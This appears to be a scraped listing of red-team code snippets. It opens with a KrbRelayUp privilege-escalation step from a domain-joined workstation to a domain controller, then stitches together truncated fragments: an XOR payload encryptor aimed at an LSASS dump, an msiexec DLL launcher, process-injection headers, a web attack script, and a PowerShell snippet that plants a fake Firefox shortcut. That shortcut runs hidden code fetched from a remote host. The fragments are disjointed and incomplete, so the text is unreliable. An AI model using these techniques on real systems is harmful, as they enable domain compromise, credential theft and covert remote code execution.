Aniq Fauzi aniqfakhrul

From Local Workstation to DC

This exploit path will only imply if you have an interactive session on a domain joined workstation regardless the privilege of the account (it could be a low privileged account)

Obtain system certificate for the current workstation

KrbRelayUp.exe relay -m shadowcred -f

Get the certificate and certificate password.

	# Red Team Operator course code template
	# payload encryption with XOR
	#
	# author: reenz0h (twitter: @sektor7net)

	import sys
	from itertools import cycle

	key = bytearray("jisjidpa123","utf8")
	filename = "LSASS_DECRYPTED.DMP"

	#!/usr/bin/env python3
	import requests
	import sys
	import time
	from requests.packages.urllib3.exceptions import InsecureRequestWarning
	import random
	import string
	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

	hostname = "change hostname or ip"

	//execute with
	//msiexec.exe /z C:\Users\ch4rm\Desktop\ObfuscatorXOR\Dlllauncher\bin\x64\Release\Dlllauncher.dll
	using System;
	using RGiesecke.DllExport;
	using System.Runtime.InteropServices;
	using System.Diagnostics;
	using System.Text;
	using System.Security.Cryptography;
	using System.IO;

	#include <iostream>
	#include <Windows.h>
	#include <TlHelp32.h>
	#include <vector>
	#include "aes.hpp"
	#include "base64.h"
	#include "low.h"
	#include <string>
	#include <map>
	#include <sstream>

	$WshShell = New-Object -ComObject WScript.Shell
	$shortcut = $WshShell.CreateShortcut("C:\Users\REUSER\Desktop\firefoxx.lnk")
	$shortcut.TargetPath = "powershell.exe"
	$shortcut.Description = "Totally Notmal"
	$shortcut.HotKey = "F6"
	$shortcut.IconLocation = "C:\Program Files\Mozilla Firefox\firefox.exe"
	$shortcut.Arguments = "-windowstyle hidden iex(iwr -usebasicparsing http://example.com/notmal.ps1)"
	$shortcut.save()

	//compile with
	// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

	using System;
	using System.Collections.Generic;
	using System.Linq;
	using System.Runtime.InteropServices;
	using System.Text;
	using System.Threading.Tasks;

	#!/usr/bin/env python3
	import random
	import requests

	url = "http://localhost/index.php" # change to your target url
	username = "administrator"

	def randomize(s):
	result = ''
	for c in s: